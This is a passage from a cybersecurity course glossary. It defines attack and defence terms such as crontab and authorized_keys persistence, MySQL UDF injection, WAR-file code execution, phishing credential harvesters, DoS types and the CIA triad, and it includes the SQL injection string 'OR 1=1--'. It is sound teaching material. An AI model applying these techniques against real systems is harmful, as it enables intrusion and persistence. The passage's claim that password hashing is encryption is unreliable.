/etc/passwd lists local Linux user accounts, UIDs, GIDs, home directories, and login shells. It is normally world-readable because many programs need account information.

WHY it matters: It matters because it reveals valid usernames and system accounts. On its own it should not contain password hashes on modern systems, but it becomes useful when combined with /etc/shadow.

Connection: Connection: related to LFI examples, account enumeration, offline cracking, and Unix user/account structure.

.rhosts / hosts.equiv

.rhosts and hosts.equiv are legacy Unix trust files that allow passwordless rlogin/rsh access from listed hosts or users. They rely on host-based trust rather than strong cryptographic authentication.

WHY it matters: It matters because a permissive trust file can bypass password authentication entirely. If a trusted host is compromised, the trust relationship becomes an attack path.

Connection: Connection: related to rlogin, rsh, rexec, lateral movement, and why SSH keys with proper controls replaced legacy r-services.

Crontab Backdoor

A crontab backdoor is a persistence technique where a scheduled cron job repeatedly runs a malicious command, such as reconnecting to an attacker-controlled listener.

WHY it matters: It matters because removing an active shell is not enough if a scheduled task recreates it. Persistence mechanisms survive sessions and sometimes reboots.

Connection: Connection: linked to malware persistence, post-exploitation cleanup, incident response, /etc/cron*, user crontabs, and monitoring unexpected scheduled jobs.

authorized_keys

authorized_keys is an SSH file listing public keys allowed to authenticate to an account without a password. Each user can have one under their .ssh directory.

WHY it matters: It matters because adding an attacker's public key is a common persistence technique. It creates quiet future access that looks like normal SSH key authentication.

Connection: Connection: related to SSH hardening, Debian weak keys, persistence, account compromise, file permissions, and audit of trusted keys.

/etc/rc.local

/etc/rc.local is a legacy Linux startup script executed during boot, often with root privileges if enabled. Commands placed there can run automatically after system startup.

WHY it matters: It matters because write access to startup scripts enables boot-persistent backdoors. A system may look clean until it reboots and restarts the malicious command.

Connection: Connection: related to persistence, privilege, boot scripts, systemd migration, and incident-response checks for startup locations.

netstat -tulnp

netstat -tulnp lists listening TCP and UDP sockets with numeric addresses and associated process IDs/program names on Linux systems. It is often used for service baseline and post-exploitation enumeration.

WHY it matters: It matters because unexpected listening ports reveal backdoors, rogue services, or misconfigurations. Mapping ports to processes helps explain what is actually exposed.

Connection: Connection: comparable to ss and lsof. Useful for verifying Port 1524, DistCC, Tomcat, Elasticsearch, and other lab services.

UDF Injection (MySQL)

UDF Injection in MySQL abuses the ability to write and load a malicious shared library as a User-Defined Function. Once loaded, SQL queries can call the function to execute operating-system commands.

WHY it matters: It matters because database compromise can become system compromise when database privileges are excessive. The FILE privilege and plugin directory access are especially sensitive.

Connection: Connection: tied to MySQL INTO OUTFILE, FILE privilege, web shells, least privilege, and separating database permissions from OS-level control.

MySQL INTO OUTFILE / FILE Privilege

MySQL INTO OUTFILE allows a privileged database user to write query output to a file on the database server. The FILE privilege controls this capability.

WHY it matters: It matters because writing into a web-accessible directory can create a web shell, and writing to sensitive paths can alter application behavior. Database permissions therefore affect the operating system and web layer.

Connection: Connection: related to SQL injection, UDF Injection, phpMyAdmin, least privilege, and restricting database accounts used by applications.

NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM is the highest local privilege identity on Windows, roughly comparable to root on Linux. Many kernel-level or service-level exploits yield SYSTEM privileges.

WHY it matters: It matters because SYSTEM can read, modify, and control nearly all local operating-system resources. A SYSTEM shell means full host compromise.

Connection: Connection: associated with EternalBlue, Meterpreter sessions, privilege escalation, Windows services, and post-exploitation impact reporting.

WannaCry

WannaCry was a 2017 ransomware worm that used EternalBlue/MS17-010 to spread across vulnerable Windows systems and encrypt files for ransom.

WHY it matters: It matters because it proved that unpatched vulnerabilities in common services can become global availability incidents. The damage was not limited to individual endpoints; it affected hospitals, businesses, and infrastructure.

Connection: Connection: linked to CVE-2017-0144, SMBv1, patch management, backups, incident response, and network segmentation.

NotPetya

NotPetya was a 2017 destructive malware outbreak that initially appeared ransomware-like but functioned largely as a wiper. It spread using multiple techniques including EternalBlue and credential-based lateral movement.

WHY it matters: It matters because backups and ransomware response assumptions may fail when malware is destructive rather than financially recoverable. It also shows how supply-chain compromise can seed widespread infection.

Connection: Connection: related to EternalBlue, lateral movement, credential theft, business continuity, disaster recovery, and the difference between ransomware and wiper malware.

DVWA (Damn Vulnerable Web Application)

DVWA is an intentionally insecure PHP/MySQL web application designed for practicing common web vulnerabilities such as SQL injection, XSS, file inclusion, and weak authentication.

WHY it matters: It matters because it provides a safe, legal environment to understand web attacks by observing vulnerable behavior directly. It must not be exposed beyond the lab.

Connection: Connection: hosted on Metasploitable 2, related to OWASP Top 10, Burp Suite, SQLi, XSS, LFI, and secure coding lessons.

phpMyAdmin

phpMyAdmin is a browser-based MySQL administration tool. It allows database browsing, query execution, user management, imports/exports, and other administrative functions.

WHY it matters: It matters because exposing phpMyAdmin without strong authentication gives attackers direct database control. Even with authentication, weak credentials or SQL injection elsewhere can make it a pivot point.

Connection: Connection: related to MySQL, database credentials, INTO OUTFILE, web shells, and protecting administrative interfaces.

Apache Tomcat Manager

Apache Tomcat Manager is a web interface for administering Tomcat applications, including deploying, starting, stopping, and undeploying web applications.

WHY it matters: It matters because if attackers obtain manager credentials, they can upload a malicious WAR file and execute code as the Tomcat process.

Connection: Connection: related to WAR file deployment, default credentials, Ghostcat/AJP context, management-plane isolation, and application-server hardening.

WAR File Deployment (RCE via Tomcat/GlassFish)

WAR file deployment is the process of uploading a Java Web Application Archive to an application server. If an attacker can deploy a malicious WAR, the server may execute attacker-controlled Java code.

WHY it matters: It matters because this is exploitation through legitimate admin functionality. The vulnerability may be weak credentials or exposed admin panels rather than a code flaw in Tomcat or GlassFish itself.

Connection: Connection: linked to Tomcat Manager, GlassFish Admin Console, default credentials, web shells, and post-exploitation footholds.

■ LAB-DERIVED TERMS - ANDROID, BLUETOOTH, THREAT MODELING, MPC, AND CRYPTO

Android Keystore

Android Keystore is the Android OS facility for storing and using cryptographic keys. Keys can be hardware-backed and non-exportable, meaning applications can use them without reading the raw key material.

WHY it matters: It matters because mobile apps should not store long-term secrets in ordinary files or hardcoded strings. Keystore reduces damage if app storage is copied or inspected.

Connection: Connection: related to mobile app security, credential storage, hardware-backed security, Android sandboxing, and secure authentication flows.

Android Manifest / Exported Components

The Android Manifest declares application components such as activities, services, receivers, and providers. Components marked exported=true can be accessed by other apps, subject to permissions.

WHY it matters: It matters because accidentally exported components create app-level attack surfaces. A malicious app may invoke functionality that developers assumed was internal.

Connection: Connection: related to mobile privilege escalation, intent security, least privilege, app sandboxing, and secure component permissions.

Root Detection (Android)

Root detection is the practice of checking whether an Android device has been rooted or otherwise modified to bypass normal platform protections.

WHY it matters: It matters because root access can weaken app sandboxing, allow runtime tampering, inspect local data, hook functions, and bypass security controls. Detection does not guarantee safety, but it can reduce risk for sensitive operations.

Connection: Connection: related to mobile threat modeling, device integrity, secure storage, anti-tamper controls, and risk-based authentication.

Bluetooth Security / Pairing Verification

Bluetooth security depends on correct pairing, authentication, encryption, and user verification of the device being paired. Weak pairing workflows can allow rogue devices or impersonation.

WHY it matters: It matters because users often approve pairing prompts without checking identity. IoT and wearable devices can leak data or accept commands if pairing is not verified.

Connection: Connection: related to spoofing, MITM, fitness trackers/IoT, device identity, and human-in-the-loop verification.

Trust Boundary (DFD - STRIDE context)

A trust boundary in a Data Flow Diagram is a line separating components or zones with different trust levels, such as user device vs cloud service, browser vs server, or pod vs Kubernetes API server.

WHY it matters: It matters because threats become especially important when data crosses boundaries. Input that was trusted in one zone should be revalidated when it enters another.

Connection: Connection: central to STRIDE threat modeling. Every data flow crossing a trust boundary should be checked for spoofing, tampering, repudiation, information disclosure, DoS, and elevation of privilege.

Boolean Secret Sharing

Boolean secret sharing splits a secret bit into random shares such that the original bit is recovered by XORing the shares. A single share alone reveals no information about the secret.

WHY it matters: It matters because it is a basic building block for secure multi-party computation. Parties can compute on shares without directly revealing private inputs.

Connection: Connection: related to MPC, XOR operations, privacy-preserving computation, Beaver triples for AND gates, and the difference between information-theoretic hiding and encryption.

Beaver Triple

A Beaver triple is precomputed correlated randomness, usually values a , b , c where $c = a * b$ under the relevant algebraic operation. In Boolean circuits this may be an AND triple.

WHY it matters: It matters because multiplication/AND is the expensive part of secret-shared computation. Beaver triples move much work offline and allow efficient online computation without revealing inputs.

Connection: Connection: related to MPC, additive secret sharing, Boolean secret sharing, offline/online phases, and privacy-preserving data analysis.

Additive Secret Sharing

Additive secret sharing splits a value x into shares such that the shares add up to x modulo a chosen number or field. No single share reveals the original value.

WHY it matters: It matters because linear operations can be performed locally on shares, making it efficient for many privacy-preserving protocols. Multiplication usually requires interaction or Beaver triples.

Connection: Connection: linked to MPC, modular arithmetic, secure aggregation, privacy-preserving analytics, and the contrast with Boolean XOR sharing.

Discrete Logarithm Problem (DLP)

The Discrete Logarithm Problem asks: given a group generator g and value $h = g^x$, find the exponent x . In suitable groups, computing h from x is easy, but recovering x from h is infeasible.

WHY it matters: It matters because many public-key cryptographic systems depend on DLP hardness, including classic Diffie-Hellman and elliptic-curve variants. If DLP becomes easy in the chosen group, those systems break.

Connection: Connection: related to Diffie-Hellman, ElGamal, elliptic-curve cryptography, forward secrecy, and post-quantum concerns.

Forward Secrecy / Perfect Forward Secrecy (PFS)

Forward Secrecy means past session keys remain safe even if the server's long-term private key is compromised later. It is typically achieved with ephemeral Diffie-Hellman or elliptic-curve Diffie-Hellman key exchange.

WHY it matters: It matters because private keys can be stolen. Without PFS, recorded TLS traffic might be decrypted later if the long-term key leaks; with PFS, old session keys are not derived from that long-term key alone.

Connection: Connection: related to TLS cipher suites, DHE/ECDHE, SSL Labs reports, Diffie-Hellman, DLP, and secure key-exchange configuration.

SHA-256 / SHA-384

SHA-256 and SHA-384 are cryptographic hash functions in the SHA-2 family. SHA-256 outputs 256-bit digests; SHA-384 outputs 384-bit digests.

WHY it matters: It matters because secure hashes support integrity checks, signatures, certificates, HMACs, and many TLS constructions. A hash should be collision-resistant and preimage-resistant for its intended use.

Connection: Connection: related to TLS cipher suites, digital signatures, checksums, password hashing distinction, and the difference between fast general hashes and slow password hash functions.

■ LAB-DERIVED TERMS - DENIAL OF SERVICE AND SOCIAL ENGINEERING DETAILS

Application-Layer Resource Exhaustion (DoS)

Application-layer resource exhaustion is a DoS technique that consumes application resources such as worker threads, database connections, memory, CPU, or request queues using apparently valid requests.

WHY it matters: It matters because the attack may not require huge bandwidth. A smaller number of expensive requests can exhaust backend capacity even when the network link is fine.

Connection: Connection: related to HTTP floods, Slowloris-style behavior, rate limiting, caching, quotas, resource limits, and availability in the CIA triad.

HTTP Flood

An HTTP flood is a layer-7 DoS attack that sends many HTTP requests to overwhelm a web server or backend application. Requests may look legitimate and may target expensive pages or API endpoints.

WHY it matters: It matters because it is harder to block than simple packet floods. Defenders must distinguish real users from abusive request patterns.

Connection: Connection: related to WAFs, CDNs, rate limiting, caching, bot detection, application-layer resource exhaustion, and availability.

I/O Exhaustion Attack

An I/O exhaustion attack forces a system to spend excessive time on disk reads/writes or other input/output operations. The bottleneck becomes storage or CPU waiting on I/O rather than raw network bandwidth.

WHY it matters: It matters because systems can become unresponsive even when CPU and network graphs do not show a classic volumetric attack. Expensive logging, uploads, database queries, or file operations can be abused.

Connection: Connection: related to DoS testing, resource limits, quotas, database hardening, logging design, and monitoring system metrics beyond bandwidth.

Network-Layer Interrupt Exhaustion

Network-layer interrupt exhaustion occurs when high packet rates cause the kernel's network interrupt handling to consume excessive CPU, often visible as high software-interrupt time such as %si in Linux tools.

WHY it matters: It matters because packet processing itself can become the bottleneck before applications see the traffic. Even dropped packets cost resources.

Connection: Connection: related to SYN floods, high-rate scanning, hping3 demonstrations, kernel networking, rate limiting, and DDoS mitigation.

Caesar Cipher (shift detail)

The Caesar cipher is a monoalphabetic substitution cipher where each letter is shifted by a fixed number of positions in the alphabet. For example, a shift of 3 maps A to D.

WHY it matters: It matters because it is historically important and useful for teaching substitution, but it is not secure. There are only 26 possible shifts and language frequency patterns remain visible.

Connection: Connection: related to classical cryptography, brute force, frequency analysis, monoalphabetic substitution, and the contrast with modern encryption.

Spear Phishing - technical workflow

Spear phishing is targeted phishing against a specific person, role, or organization. A technical workflow may include research, a believable pretext, a cloned login page, tracking links, and a credential-harvesting endpoint in an authorized awareness exercise.

WHY it matters: It matters because personalization increases trust. The target is more likely to click or enter credentials when the message references real context, deadlines, colleagues, or systems.

Connection: Connection: related to SET, credential harvester, OSINT, social engineering, MFA, reporting channels, and explicit authorization for awareness testing.

Smishing - practical detail

Smishing is phishing delivered through SMS or text messages. It often impersonates HR, banks, delivery services, public authorities, or urgent internal notifications and includes a link or callback request.

WHY it matters: It matters because mobile messages feel immediate and are harder to inspect than desktop email. Users may not see full URLs or security indicators clearly.

Connection: Connection: related to phishing, credential harvesting, mobile security, urgency/authority persuasion, and user awareness training.

Vishing - practical detail

Vishing is voice phishing by phone or voice call. Attackers impersonate support staff, managers, vendors, or authorities to extract credentials or persuade the victim to perform an action.

WHY it matters: It matters because humans often trust real-time voice interaction and may feel pressure to respond quickly. Technical controls alone cannot stop all voice-based manipulation.

Connection: Connection: related to social engineering, pretexting, MFA fatigue, helpdesk verification procedures, and incident reporting.

Credential Harvester (SET)

The Credential Harvester is a Social-Engineer Toolkit feature used in controlled training to clone a login page and capture credentials entered by users directed to the clone.

WHY it matters: It matters because it demonstrates how phishing converts trust into credential theft. It also shows why users should verify URLs and why MFA reduces the value of stolen passwords.

Connection: Connection: related to spear phishing workflows, phishing awareness, SET, credential stuffing risk, legal authorization, and safe handling of test data.

WiFi Spoofing / Evil Twin AP

WiFi spoofing, or an Evil Twin access point, occurs when an attacker creates a wireless network with the same or similar SSID as a legitimate network to trick devices or users into connecting.

WHY it matters: It matters because users often select familiar network names without verifying authenticity. Once connected, traffic can be intercepted, redirected, or manipulated if protections are weak.

Connection: Connection: related to MITM, rogue access points, TLS, certificate warnings, captive portals, and secure WiFi authentication such as WPA2/WPA3 Enterprise.

XST (Cross-Site Tracing)

Cross-Site Tracing is a web attack technique involving the HTTP TRACE method. If TRACE is enabled, attackers may abuse browser behavior and server echoing to expose request headers in older or vulnerable scenarios.

WHY it matters: It matters because it is an example of unnecessary HTTP methods increasing attack surface. Even if modern browsers reduce the risk, disabling TRACE is standard hardening.

Connection: Connection: related to web server configuration, XSS-adjacent risks, HTTP method hardening, and scanner findings.

■ LAB-DERIVED TERMS - LAB PLATFORMS AND EXPOSED APPLICATIONS

Elasticsearch 1.1.1

Elasticsearch 1.1.1 is an outdated Elasticsearch version used in lab environments. It commonly exposes an unauthenticated REST API on port 9200 and may allow dynamic scripting RCE under vulnerable settings.

WHY it matters: It matters because it combines data exposure, lack of authentication, and possible code execution. It is a strong example of why backend data services must not be exposed by default.

Connection: Connection: related to CVE-2014-3120, Port 9200, REST APIs, data confidentiality, index destruction, and secure defaults.

Jenkins

Jenkins is an open-source CI/CD automation server. It controls build jobs, credentials, plugins, deployment scripts, and often access to source code or infrastructure.

WHY it matters: It matters because CI/CD systems are high-value lateral movement targets. A misconfigured Jenkins instance or exposed script console can become remote code execution and supply-chain compromise.

Connection: Connection: related to supply-chain security, Groovy script console risks, credentials, build pipelines, artifact signing, and least privilege for automation accounts.

WordPress (on Metasploitable 3)

WordPress is a popular content management system included as an attack surface in Metasploitable 3. Vulnerable installations often involve outdated core versions, themes, plugins, weak credentials, or exposed admin panels.

WHY it matters: It matters because WordPress is extremely common on the internet, so attackers heavily automate scanning for known plugin and configuration weaknesses.

Connection: Connection: related to web application security, plugin patching, password attacks, phpMyAdmin/MySQL backends, WAFs, and OWASP-style assessment.

CYBERSECURITY COURSE

Complete Definition Word List

Open-Book Exam Reference • Use Ctrl+F / Cmd+F to find any term

922 terms across 39 sections

(805 original terms + 117 terms added from lab sessions L01-L11)

■ CORE SECURITY CONCEPTS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Cybersecurity

Cybersecurity is the body of technologies, processes, and practices designed to protect networks, computers, programs, digital assets, and data — whether in transit, at rest, or being processed — from attacks, damage, and unauthorized access. The NIST definition (NISTIR 7298 Rev. 3): 'measures and controls that ensure confidentiality, integrity, and availability of information system assets including hardware, software, firmware, and information being processed, stored, and communicated.'

WHY it matters: Three reinforcing trends drive the need — ever-increasing information sharing, interconnectedness, and vulnerabilities/exploits. A weakness in one component can cascade widely through dependencies.

Connection: Cybersecurity operationalizes the CIA Triad through controls such as authentication, authorization, access control, encryption, and physical security. It differs from Information Security in scope — Information Security covers both digital and non-digital information, while Cybersecurity focuses specifically on digital systems and networks.

Information Security

Information Security is the broader discipline of protecting information in any form — digital or non-digital — from unauthorized access, modification, or destruction. It encompasses organizational policies, physical records, paper processes, and digital systems.

WHY it matters: Organizations handle sensitive information in many forms. A hospital protects both the EHR database (cybersecurity domain) and paper patient files (information security but not strictly cybersecurity).

Connection: Cybersecurity is a subset of Information Security. The CIA Triad applies to both. 'Cybersecurity' in exam questions almost always means the digital-system context; 'information security' may imply a broader organizational scope.

CIA Triad

The CIA Triad is the three-goal framework at the center of security design: Confidentiality, Integrity, and Availability. Every security control, threat, and policy can be mapped back to one or more of these three goals. It is the universal language for describing what a system protects and what an attacker violates.

WHY it matters: It provides a consistent mental model for classifying threats, choosing controls, and writing security requirements. Instead of listing attack types ad hoc, you ask: 'Which CIA goal does this attack violate? Which control addresses which goal?'

Connection: STRIDE maps directly onto CIA — Spoofing violates Authentication, Tampering violates Integrity, DoS violates Availability, Information Disclosure violates Confidentiality, Repudiation violates Accountability, EoP violates Authorization. GDPR Article 32 also references the CIA triad explicitly.

Confidentiality

Confidentiality means preventing the disclosure of information to unauthorized parties. Only authorized subjects should be able to read the data. Key question: 'Who is allowed to see this, and how is access limited?'

Violations: An outsider reads customer records; credentials leak in a data breach; traffic is intercepted by a MITM attacker; a misconfigured S3 bucket is publicly accessible.

Controls: Encryption (data at rest and in transit), access control lists, authentication, least privilege, TLS, and secure protocols.

Connection: Directly threatened by Information Disclosure in STRIDE. Password attacks, MITM attacks, and phishing primarily target confidentiality. Privacy (GDPR) is closely related but adds the dimension of individual rights, not just organizational security.

Integrity

Integrity means protecting information from unauthorized modification. Authorized parties may modify data only in authorized ways. Key question: 'How do we detect or prevent unauthorized changes?'

Violations: A transaction amount is altered in transit; a software update is tampered with; configuration files are modified by malware; a student alters another student's submission.

Controls: Digital signatures, checksums (SHA-256 hashes), authorization controls, audit logs, controlled update mechanisms, input validation, and code signing.

Connection: Threatened by Tampering in STRIDE. SQL injection attacks often target integrity. Malware that alters system files is an integrity attack. Closely related to non-repudiation — if integrity is maintained with logs, you can prove who changed what.

Availability

Availability means ensuring that authorized parties are able to access information and services when needed.

Key question: 'Can legitimate users obtain the required service reliably, and can the system recover from failure?'

Violations: A service is overwhelmed by DDoS; ransomware encrypts files and blocks access; a disk failure destroys the only copy; Slowloris exhausts web server connections.

Controls: Computational redundancy, backups, failover systems, rate limiting, SYN cookies, scrubbing services, capacity planning, disaster recovery, and incident response.

Connection: Directly threatened by DoS/DDoS attacks and ransomware. In STRIDE, the 'D' for Denial of Service maps exactly to Availability. Often the 'easiest' CIA goal to attack — you don't need to read or change data, just stop others from doing so.

Risk

Risk is a measure of the extent to which an entity is threatened by a potential circumstance or event — a function of the likelihood of harm occurring and the magnitude of consequences.

WHY it matters: Not every vulnerability needs immediate maximum-effort remediation. Risk helps you prioritize. A critical vulnerability on an internet-facing server is higher risk than the same vulnerability on an air-gapped internal machine.

Formula: $\text{Risk} \approx \text{Likelihood} \times \text{Impact}$. DREAD (Damage, Reproducibility, Exploitability, Affected users, Discoverability) is a structured scoring method. CVSS scores are a standardized risk-adjacent metric used by Nessus and NVD.

Connection: Vulnerability $\neq$ Risk. A vulnerability is a weakness; risk is how much that weakness matters in context. Residual Risk is what remains after countermeasures are applied. Risk drives the 'Mitigate / Eliminate / Transfer / Accept' decision in threat modeling.

Vulnerability

A vulnerability is a weakness in a system — a flaw, configuration issue, design weakness, or human/process weakness — that could be exploited by a threat to cause harm. Vulnerabilities can exist in code (buffer overflow), configuration (default credentials), design (no authentication), or human process (no security awareness training).

WHY it matters: Vulnerabilities are the root cause of most security incidents. Finding and fixing them before attackers do is the goal of vulnerability assessment, penetration testing, and patching.

Connection: CVE identifies specific vulnerability instances. CWE categorizes recurring weakness types. CVSS scores rate severity. NVD is the database. A vulnerability alone causes no harm — it needs a threat and an exploit. A patch fixes the vulnerability itself; a countermeasure works around it or reduces exploitability.

Threat

A threat is a circumstance or event that has the potential to exploit a vulnerability and cause harm. Threats can be natural (hardware failure), accidental (misconfiguration), or deliberate (attacker). A threat source is the actor; a threat event is the action.

WHY it matters: Threat modeling is the process of systematically identifying threats so you can address them before they become incidents. STRIDE is a taxonomy of threat types.

Connection: Threat $\neq$ Vulnerability $\neq$ Exploit $\neq$ Attack. A threat is potential; an exploit is the method; an attack is the actual attempt. Threat modeling uses attack trees and DFDs to map threats to assets.

Exploit

An exploit is a specific method or piece of code that takes advantage of a vulnerability to cause unintended behavior in a system — turning a theoretical weakness into a practical attack tool. Examples: EternalBlue

(CVE-2017-0144) is an exploit for an SMBv1 buffer overflow; OR 1=1-- is an exploit for improper input validation.

WHY it matters: The existence of a public exploit changes risk dramatically. A vulnerability with a Metasploit module can be triggered by anyone, not just skilled attackers. This is why patching is urgent when exploits go public.

Connection: The Exploit Database is a public repository of exploits. Metasploit organizes exploits into modules. CVE Details cross-references CVEs with known exploits. Proof of Concept (PoC) is a non-weaponized exploit demonstration.

Attack

An attack is the actual use or attempted use of a method (exploit) against a target to achieve an unauthorized goal. It may be successful or unsuccessful.

WHY it matters: Security monitoring and incident response are about detecting and responding to attacks. MITRE ATT&CK; catalogs real-world attacker tactics and techniques observed in the wild.

Connection: The chain is Vulnerability → Threat → Exploit → Attack. MITRE ATT&CK; organizes attacks by tactics (initial access, persistence, privilege escalation, etc.) and techniques (the how). Understanding attack patterns helps defenders anticipate what comes next after initial compromise.

Patch

A patch is a fix for a vulnerability — a software update that corrects the underlying flaw. It removes the weakness rather than just making it harder to exploit.

WHY it matters: Unpatched systems are one of the most common causes of successful attacks. EternalBlue (WannaCry/NotPetya) exploited a vulnerability for which Microsoft had released a patch (MS17-010) weeks before the attacks — organizations that hadn't patched were compromised.

Connection: Patch ≠ Countermeasure. A patch removes the vulnerability itself; a countermeasure may work around it without fixing it (e.g., disabling SMBv1 instead of patching). End-of-Life (EOL) software can no longer receive patches — it becomes permanently vulnerable.

Countermeasure

A countermeasure is any means of preventing, detecting, limiting, or recovering from an attack. Broader than a patch — includes technical controls (firewall rules, IDS, encryption), process controls (security policies), and physical controls (locked doors, cameras).

WHY it matters: Countermeasures are the tools of defense-in-depth. Since no single countermeasure is perfect, layering multiple independent controls reduces the chance that one failure leads to full compromise.

Connection: In threat modeling, every identified threat should be mapped to a countermeasure. Threats with no countermeasure are active vulnerabilities. STRIDE countermeasure reference: Spoofing → strong auth; Tampering → digital signatures; Repudiation → audit logs; Info Disclosure → encryption; DoS → rate limiting; EoP → least privilege.

Attack Surface

The attack surface is the combined set of all points where an attacker could try to enter, interact with, or extract data from a system. Attack Surface = Σ of all Attack Vectors. Includes network-exposed services, software interfaces, physical access points, and human interaction paths.

WHY it matters: A larger attack surface means more opportunities for attackers. Surface reduction — disabling unnecessary services, closing unused ports, removing unused accounts — is one of the most effective security strategies.

Four major categories: Network (open ports and services), Machine (physical access), Software (application interfaces, input parsers, APIs), and Human (social engineering, insider threat).

Connection: Defense-in-Depth and Attack Surface combine in a risk matrix: small surface + deep layering = low risk; large surface + shallow layering = high risk. Attack Vector is one component path; Attack Surface is the total. Hardening directly reduces the attack surface.

Attack Vector

An attack vector is a specific path or method an attacker can use to reach and exploit a vulnerability. A vector is one route; the attack surface is the sum of all vectors. Examples: open port 22 (SSH) = network vector; USB drive dropped in a parking lot = physical/human vector; web input field = software vector; phishing email = human vector.

WHY it matters: CVSS v3 scores include an Attack Vector metric — Network (remotely exploitable, highest severity) > Adjacent > Local > Physical. Understanding the vector tells you how hard an attacker must work to reach the target.

Connection: Reconnaissance discovers attack vectors. Fingerprinting, port scanning (Nmap), and OSINT help identify them. The goal of hardening and network segmentation is to eliminate or narrow vectors.

Defense-in-Depth

Defense-in-Depth is the security strategy of using multiple, independent, complementary layers of controls so that no single control failure immediately causes a catastrophic outcome. Borrowed from military strategy: even if the outer perimeter is breached, inner defenses provide additional resistance.

WHY it matters: No single control is perfect. Stacking independent controls forces attackers to defeat multiple layers and increases the chance of detection. One failure should be survivable.

Practical layers: Reduce attack surface → patch systems → require strong authentication → enforce least privilege → segment networks → monitor with IDS/SIEM → maintain backups → prepare incident response.

Connection: Large surface + shallow depth = high risk; small surface + deep layering = low risk.

Defense-in-Depth is why you want authentication AND encryption AND logging AND firewalls, not just one of them.

Secure-by-Design

Secure-by-Design is the principle that security should be built into a system from the beginning of its design, not added as an afterthought. Default configurations are secure, minimal attack surface is exposed by default, and security requirements are treated as first-class design requirements alongside functionality.

WHY it matters: Retrofitting security onto an insecure design is costly, often incomplete, and produces fragile results. Systems designed securely from the start have fewer flaws, are easier to audit, and require less ongoing patching.

Key practices: default-deny policies, least privilege by design, no default credentials, input validation built in, fail-safe defaults, and clear trust boundaries. Privacy-by-Design is the privacy-specific equivalent.

Connection: Related to Hardening (reducing surface post-deployment). Threat modeling during design is the main tool for achieving Secure-by-Design. Metasploitable is the anti-example — deliberately designed insecurely for training.

Least Privilege

The Principle of Least Privilege states that every user, process, and component should have only the minimum permissions necessary to perform its legitimate function — no more. A web server process should not run as root; a database user used only for reading should not have write permissions.

WHY it matters: It limits the blast radius of a compromise. If an attacker exploits a low-privilege process, they inherit only its limited permissions. If that same process ran as root/SYSTEM, the attacker immediately has full control.

Examples: MySQL running as a dedicated mysql user; RBAC in Kubernetes giving each service account only needed roles; database accounts for web apps having only SELECT/INSERT, not DROP or FILE privilege.

Connection: Directly mitigates Elevation of Privilege (EoP) in STRIDE. RBAC is the main technical mechanism for enforcing least privilege. UDF Injection attacks exploit excessive MySQL FILE privilege. Post-exploitation modules work harder when least privilege is properly enforced.

Hardening

Hardening is the process of reducing a system's attack surface by disabling unnecessary services, removing default accounts and credentials, applying security configurations, and patching known vulnerabilities.

WHY it matters: Default configurations of operating systems and applications are typically optimized for functionality, not security. A fresh installation often has unnecessary services running, default accounts enabled, and permissive settings.

Examples: disabling unused ports; removing default accounts; changing default passwords; disabling SSLv3/TLS 1.0; removing unused software packages; configuring firewalls to default-deny; enabling audit logging.

Connection: Hardening is the operational practice that achieves Secure-by-Design in deployed systems. Vulnerability scanners (Nessus, OpenVAS/GVM) identify hardening gaps. EOL software cannot be properly hardened because no patches are available.

Authentication

Authentication is the process of verifying that a claimed identity is genuine — confirming 'you are who you say you are.' It answers: 'Who are you?' Factors: Something you know (password, PIN), Something you have (token, smart card), Something you are (biometric).

WHY it matters: Without authentication, any entity can claim any identity. Authentication is the gate that all authorization decisions rely on. If authentication is weak or bypassed, authorization is meaningless.

Methods and weaknesses: Passwords alone are weak (brute-forceable, reusable, phishable). MFA significantly raises the bar. Certificate-based authentication (TLS and SSH public keys) is stronger.

Connection: Authentication ≠ Authorization ≠ Access Control. In STRIDE, Spoofing is the threat to Authentication. Default credentials (e.g., vagrant:vagrant on Metasploitable 3) are authentication failures. OpenID Connect is used for Kubernetes cluster authentication.

Authorization

Authorization is the process of determining what an authenticated identity is permitted to do. It answers: 'What are you allowed to do?' Authorization decisions are made after authentication succeeds and define the scope of access — read, write, execute, delete, administer.

WHY it matters: Even a fully authenticated user should not have unlimited access. Authorization enforces least privilege, separation of duties, and role-based controls.

Examples: RBAC assigns permissions to roles; ABAC uses attributes like department; ACLs list permitted subjects for each resource; database GRANT/REVOKE controls SQL permissions.

Connection: In STRIDE, Elevation of Privilege (EoP) is the threat to Authorization. RBAC in Kubernetes is a primary authorization mechanism. SQL injection can bypass application-layer authorization by manipulating the query directly. Authentication → Authorization → Access Control is the sequence.

Access Control

Access Control is the set of mechanisms that enforce authorization decisions — the technical implementation of the policy: 'only authorized subjects can perform authorized actions on protected objects.' Operates at OS level (file permissions), network level (firewall rules, ACLs), application level (role checks), and database level (GRANT privileges).

WHY it matters: Authorization without enforced access control is just a paper policy. Access control is the actual gatekeeper. A file with permissions 777 (world-writable) ignores the authorization policy.

Types: Discretionary AC (DAC) — owner controls access; Mandatory AC (MAC) — system policy controls access; Role-Based AC (RBAC) — permissions assigned to roles; Attribute-Based AC (ABAC) — permissions based on attributes.

Connection: ACLs are the most common access control mechanism at the network level. RBAC is the dominant model in modern cloud/enterprise systems. Access control failures are one of the OWASP Top 10.

Encryption

Encryption is the process of transforming readable plaintext data into unreadable ciphertext using a mathematical algorithm and a key, such that only authorized parties holding the correct key can reverse the transformation (decrypt) and recover the plaintext.

WHY it matters: Encryption protects confidentiality when other controls fail. Even if an attacker intercepts network traffic or physically steals a storage device, encrypted data is useless without the key.

Two major categories: Symmetric encryption (same key for encrypt/decrypt — e.g., AES; fast, used for bulk data) and Asymmetric/Public Key encryption (key pair — e.g., RSA; slower, used for key exchange and digital signatures). TLS uses asymmetric for key exchange and symmetric for bulk data.

Connection: Directly supports Confidentiality in the CIA Triad. In STRIDE, encryption is the countermeasure for Information Disclosure. Password hashing (bcrypt, Argon2id) is a one-way form of encryption. GDPR Article 32 explicitly mentions encryption as an appropriate technical measure.

Physical Security

Physical Security refers to measures that prevent unauthorized physical access to systems, facilities, storage media, and hardware. Physical access frequently bypasses all software controls — a person with uncontrolled physical access can boot from external media, bypass disk encryption, extract hard drives, or install hardware keyloggers.

WHY it matters: No amount of software security prevents a direct hardware attack. Physical access is one of the four attack surface categories.

Examples: Locked server rooms; badge access systems; security cameras; USB blocking; secure disposal of old media; BIOS/UEFI passwords; full-disk encryption.

Connection: In CVSS v3, the 'Physical' attack vector is the lowest severity because it requires physical presence. Tailgating (social engineering) is an attempt to bypass physical security through human manipulation.

Principle of Proportionality

